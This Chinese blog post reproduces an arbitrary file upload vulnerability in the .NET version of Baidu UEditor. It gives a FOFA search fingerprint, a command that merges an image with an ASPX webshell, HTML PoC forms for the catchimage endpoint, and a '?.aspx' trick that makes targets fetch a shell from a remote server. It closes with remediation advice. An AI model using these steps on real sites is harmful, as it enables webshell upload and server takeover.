• 漏洞复现-.Net-ueditor上传


    简介

    UEditor是由百度web前端研发部开发的所见即所得的开源富文本编辑器,
    具有轻量、可定制、用户体验优秀等特点。
    基于MIT开源协议,所有源代码在协议允许范围内可自由修改和使用。
    百度UEditor的推出,可以帮助不少网站开发者在开发富文本编辑器所遇到的难题,节约开发者因开发富文本编辑器所需要的大量时间,
    有效降低了企业的开发成本。

    • 定制化:

    全新的分层理念,满足多元化的需求。
    采用三层架构:

    1. 核心层: 为命令层提供底层 API,如 range/selection/domUtils 类。
    2. 命令插件层: 基于核心层开发 command 命令,命令之间相互独立。
    3. 界面层: 为命令层提供用户使用界面。
      满足不同层次用户的需求。
    • 浏览器兼容

    兼容 Mozilla, MSIE, FireFox, Maxthon,Safari 和 Chrome,实现浏览器无差别化。

    • 注重细节

    统一不同浏览器下表格选取方式。
    提供黑 / 白名单的过滤机制。
    更好的 word 支持,实现粘贴转换机制。

    影响范围

    该漏洞影响UEditor的.Net版本,其他的php,jsp,asp版本不受此UEditor的漏洞的影响。
    asp(.net)环境安装,win2008,漏洞版本只支持.net 4.0,选择net4.0

    https://pan.baidu.com/s/1ntG3Tsl#list/path=%2F ueditor历史版本

    http://fex.baidu.com/ueditor/#server-net UEditor文档

    发布时间:2018-08-03
    公开时间:2018-08-21
    漏洞类型:逻辑漏洞
    危害等级:高
    漏洞编号:xianzhi-2018-08-16052905(不收取 驳回)
    测试版本:github最新版

    ueditor1_4_3-utf8-net.zip

    fofa 指纹

    body="UE.getEditor('editor').setHide()"
    
    • 1

    漏洞介绍

    Ueditor是百度开发的一个网站编辑器,目前已经不对其进行后续开发和更新,

    .net存在任意文件上传,导致可以绕过文件格式的限制达到任意文件上传 ,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

    漏洞的成因是在获取图片资源时仅检查了ContentType,

    Crawler方法对source[]的检查仅仅是一个ContentType。

    if (response.ContentType.IndexOf("image") == -1)
    {
    State = "Url is not an image";
    return this;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    漏洞复现

    在这里插入图片描述
    测试上传正常功能
    在这里插入图片描述
    可在配置文件 与 多图上传 查看上传图片的 落地路径。
    在这里插入图片描述

    eg:

    http://ip:8068/ueditor/net/upload/image/20220628/6379200402765060174657720.aspx

    漏洞标识

    访问net/controller.ashx 控制器文件
    控制器中存在多个动作的调用,包含了uploadimage、uploadscrawl、uploadvideo、uploadfile、catchimage等等

    在网址添加/controller.ashx?action=catchimage参数查看是否漏洞存在

    http://ip:8068/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
    
    • 1

    在这里插入图片描述

    构造Html poc 上传图片马到目标站点

    copy 1.JPG/b + 1.aspx/a ueditor.jpg

    复制当前目录下的1.jpg图片和当前目录下的1.aspx文件并以ASCII代码的方式合并为 ueditor.jpg图片

    不是上传漏洞所以enctype 不需要指定为multipart/form-data

     <form action="http://xx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
     
     <p>shell addr: <input type="text" name="source[]" /></p>
      
     <input type="submit" value="Submit" />
      
    </form>
    
    
    <form action="http://xxxxxxxxx/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
    
    <p>shell addr: <input type=“text” name=“source[]/></p >
    
    <input type=“submit” value=“Submit” />
    
    </form>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    在这里插入图片描述
    修改 目标站点
    action后填写路径为实际中遇到的路径,不要太死板,如果太死板不按网站的实际路径来就会出现这种路径找不到的错误。
    在这里插入图片描述
    需要一个服务器,上传你的木马文件,其中 shell addr 后填写的就是你服务器上木马的地址加上后缀 ?.aspx (为了使服务器返回的ContentType是image/xxx)

    eg: http://ip:端口/x.jpg?.aspx

    http://www.xartvu.sn.cn/uploadimage/20220701/1_20220701_cce41be5e1044717a13137b3796062f8.jpg

    只要绕过【image】检测就可以正常上传到目标服务器了,从而进一步getshell。
    没有绕过【image】检测的话,就会显示如下提示:
    在这里插入图片描述

    在这里插入图片描述

     {"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]} 
    
    • 1

    抓包 直接post上传图片马

    Hackbar
    在这里插入图片描述

    post内容写图片马的url

    post 数据为:

    source[]=https://s1.ax1x.com/2018/04/11/CkFSrn.jpg?.aspx

    成功则访问图片马,注意访问的时候是配置里面的路径,根据个人情况进行路径调整

    在这里插入图片描述

    poc 验证

    在这里插入图片描述
    在这里插入图片描述

    漏洞修复

    后果

    攻击者可以上传任意文件包括脚本执行文件,包括aspx脚本木马,asp脚本木马,还可以利用该UEditor漏洞对服务器进行攻击,执行系统命名破坏服务器

    修复

    1.修改工程目录下net/App_Code/CrawlerHandler.cs文件,添加对文件类型检查的代码,文件上传格式的严格过滤与判断。
    2.使用各类WAF软件,防止攻击者上传恶意文件。
    3.检查文件上传路径下是否有近期上传的畸形图片;检查是否存在asp,aspx等类型危险文件。如果发现异常文件,请判断后及时删除。
    4.目前临时的漏洞修复是建议,把文件上传目录设置无脚本执行权限,uploadvideo、uploadimage、catchimage、uploadscrawl、uploadfile、等等目录都设置上无脚本权限。
    5.在百度UEditor官方没有出补丁前,设置图片目录为只读,禁止写入。

  • 相关阅读:
    nova VirtualInterfaceCreateException (by quqi99)
    SOLID,面向对象设计五大基本原则
    对比 elasticsearch 和 mysql
    C语言实现冒泡排序(超详细)
    代码随想录算法训练营第五十天|123.买卖股票的最佳时机Ⅲ、188.买卖股票的最佳时机Ⅳ
    无向图欧拉路径问题
    傻白入门芯片设计,芯片键合(Die Bonding)(四)
    跟着Nature Communications学作图:纹理柱状图+添加显著性标签!
    【Linux】操作系统以及虚拟机的安装与配置
    工作流实战之Activiti7
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/125557436